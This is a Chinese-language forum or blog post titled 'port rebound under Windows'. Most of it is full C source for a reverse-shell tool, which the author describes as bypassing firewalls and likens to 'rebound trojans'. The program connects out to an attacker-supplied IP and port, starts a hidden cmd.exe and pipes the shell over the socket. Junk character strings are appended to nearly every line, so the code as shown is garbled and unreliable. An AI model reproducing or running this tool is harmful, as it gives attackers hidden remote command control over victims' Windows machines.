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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 24_/JDz  
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/* ============================== pXxpEv  
Rebound port in Windows NT V0$:t^^  
By wind,2006/7 Je~Ybh  
===============================*/ -f[95Z3}  
#include M}F) P&Y  
#include #>\8m+h 9  
{B6tGLt#bf  
#pragma comment(lib,"wsock32.lib") Rwz (20n\^  
ApAHa]Ccp  
void OutputShell(); (=i+{ 3`|  
SOCKET sClient; FHu+dZ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _Nq7_iT0  
>_?Waz %  
void main(int argc,char **argv) <~!R|5sK  
{ !Ry4 w|w  
WSADATA stWsaData; :E9@9>3S  
int nRet; }#f~"-O  
SOCKADDR_IN stSaiClient,stSaiServer; baM@HpMhM  
1:iT#~n  
if(argc != 3) ?`D/#P  
{ XFN4m #  
printf("Useage:\n\rRebound DestIP DestPort\n"); V\o& {7!  
return; 0j|JyS:}G  
} w!^{Q'/,Q  
PP)-g0^@  
WSAStartup(MAKEWORD(2,2),&stWsaData); W[tX%B  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +q3E>K9a  
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stSaiClient.sin_family = AF_INET; `~3y[j]kO  
stSaiClient.sin_port = htons(0); rw ou[QU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A Pu cA  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |nj,]pA  
{ b6UD!tXp  
printf("Bind Socket Failed!\n"); jPNm $Y1  
return; 4 '6HX#J  
} VM[Vh k[  
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stSaiServer.sin_family = AF_INET; rYMHc@a9(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +gOv5Eno-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :CAbGs:56  
f"G?#dW/1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aC2\C=ru_  
{ N-Nq*  
printf("Connect Error!"); GE[J`?E]  
return; f'<MDLl  
} VBK9te,A  
OutputShell(); nZ2mY!*  
} kMLWF  
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void OutputShell() S>pbplE  
{ ]RJcY1  
char szBuff[1024]; m0 k~8^L@f  
SECURITY_ATTRIBUTES stSecurityAttributes; fgSe]q//  
OSVERSIONINFO stOsversionInfo; _7"G&nZ0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Pb^Mc <j  
STARTUPINFO stStartupInfo; ("L&iu\`@  
char *szShell; &qP&=( $  
PROCESS_INFORMATION stProcessInformation; u;qBW uO  
unsigned long lBytesRead; xui.63/  
qj5V<c;h%W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jQs"8[=s  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )!&7XL[  
stSecurityAttributes.lpSecurityDescriptor = 0; m:7$"oq|  
stSecurityAttributes.bInheritHandle = TRUE; HsGyNkr?r  
g0D(:_QXp:  
,!s;o6|*y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \We\*7^E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CcHf1 _CI  
sSMcF[]@2I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }QL 2#R  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ( o_lH2  
stStartupInfo.wShowWindow = SW_HIDE; !5P\5WF~Y  
stStartupInfo.hStdInput = hReadPipe; _JjR= m  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'bXm,Ed  
1c} %_Z/  
GetVersionEx(&stOsversionInfo); A%pBvULH  
#X(KW&;m  
switch(stOsversionInfo.dwPlatformId) .;0?r9  
{ Ol~j q;75  
case 1: jCMr[ G=  
szShell = "command.com"; Q~A25Jf .  
break; 2=TQU33#  
default: Uva b*9vX  
szShell = "cmd.exe"; bI,gNVN=  
break; B9RB/vHH  
} -&u2C}4s  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !Rzw[~  
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send(sClient,szMsg,77,0); f@%H"8w!  
while(1) S WYIQ7*  
{ L)cy&"L|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EVW{!\8[  
if(lBytesRead) JEK 6Ms;)A  
{ 9w Pc03a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B%c):`w8]  
send(sClient,szBuff,lBytesRead,0); e.<$G'  
} n'yC-;  
else SJRiMR_F~  
{ f<V#Yc(U }  
lBytesRead=recv(sClient,szBuff,1024,0); :1eJc2o  
if(lBytesRead<=0) break; y^#jM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8#9 di  
} L)5YX-?  
} $\|$ekil4  
p1 9j  
return; &!uN N|W  
}
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